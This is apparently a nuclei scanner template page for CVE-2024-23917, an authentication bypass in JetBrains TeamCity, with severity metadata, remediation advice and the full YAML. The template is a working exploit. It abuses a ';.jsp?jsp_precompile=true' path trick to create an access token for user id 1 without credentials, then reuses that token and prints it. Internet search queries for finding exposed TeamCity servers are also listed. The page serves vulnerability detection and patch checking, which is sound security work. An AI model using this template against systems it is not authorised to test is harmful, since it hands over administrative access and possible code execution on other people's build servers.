CVE-2024-23917: JetBrains TeamCity > 2023.11.3 - Authentication Bypass
- Template: CVE-2024-23917
- Name: JetBrains TeamCity > 2023.11.3 - Authentication Bypass
- Description: In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible
- Impact: Unauthenticated attackers can bypass authentication to gain administrative access and potentially execute code on the TeamCity server.
- Remediation: Update JetBrains TeamCity to version 2023.11.3 or later.
- Severity: critical
- Authors: iamnoooob, rootxharsh, pdresearch
- Tags: cve, cve2024, auth-bypass, teamcity, jetbrains, vkev, vuln
- References: https://github.com/fkie-cad/nvd-json-data-feeds, https://www.rapid7.com/db/vulnerabilities/jetbrains-teamcity-cve-2024-23917/
- Cves: CVE-2024-23917
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-23917.yaml
- Digest: 4b0a00483046022100ad227c100d50388ff000d81cbe317f7fd77e30ebcc83db554e1d28edd2720c82022100a8fa00c127c6d666bd70ba273e7c26a1ef0950cfb01020552b58e59d4a12238c
- Created at: 2024-05-02T17:34:26Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 936
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-23917.yaml
Classification
- Cwe: CWE-306, CWE-288
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.54009
- Epss percentile: 0.99027
- Cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
Metadata
- Fofa-query: title=teamcity
- Google-query: intitle:teamcity
- Max-request: 2
- Product: teamcity
- Shodan-query: http.title:teamcity, http.component:"teamcity"
- Vendor: jetbrains
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| jetbrains:teamcity | yes | /v1/products/jetbrains/teamcity |
Labels
- Name: JetBrains TeamCity - Authentication Bypass
- Impact: Attackers can bypass authentication and execute remote code, leading to full system compromise.
- Remediation: Update to version 2023.11.3 or later.
- Vulnerability type: broken_authentication
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-23917
- Not known: requirements
```yaml
id: CVE-2024-23917
info:
name: JetBrains TeamCity > 2023.11.3 - Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible
impact: |
Unauthenticated attackers can bypass authentication to gain administrative access and potentially execute code on the TeamCity server.
remediation: |
Update JetBrains TeamCity to version 2023.11.3 or later.
reference:
- https://github.com/fkie-cad/nvd-json-data-feeds
- https://www.rapid7.com/db/vulnerabilities/jetbrains-teamcity-cve-2024-23917/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-23917
cwe-id: CWE-306,CWE-288
epss-score: 0.54009
epss-percentile: 0.99027
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: jetbrains
product: teamcity
shodan-query:
- "http.title:teamcity"
- http.component:"teamcity"
fofa-query: "title=teamcity"
google-query: "intitle:teamcity"
tags: cve,cve2024,auth-bypass,teamcity,jetbrains,vkev,vuln
flow: http(1) && http(2)
http:
- method: POST
path:
- "{{BaseURL}}/app/rest/users/id:1/tokens/{{randstr}};.jsp?jsp_precompile=true"
headers:
Content-Type: "application/x-www-form-urlencoded"
matchers:
- type: dsl
dsl:
- status_code==200
- "contains(content_type,'application/xml')"
- 'contains(body,"<token name=\"{{randstr}}\"")'
condition: and
internal: true
extractors:
- type: regex
part: body
name: authtoken
internal: true
group: 1
regex:
- 'value="(.+)"'
- method: GET
path:
- "{{BaseURL}}/app/rest/server"
headers:
Authorization: "Bearer {{authtoken}}"
extractors:
- type: dsl
dsl:
- '"Token:" + authtoken'
matchers:
- type: dsl
dsl:
- "status_code==200"
- "contains(content_type,'application/xml')"
- "contains(body,'<projects href=')"
condition: and
digest: 4b0a00483046022100ad227c100d50388ff000d81cbe317f7fd77e30ebcc83db554e1d28edd2720c82022100a8fa00c127c6d666bd70ba273e7c26a1ef0950cfb01020552b58e59d4a12238c:922c64590222798bb761d5b6d8e72950
```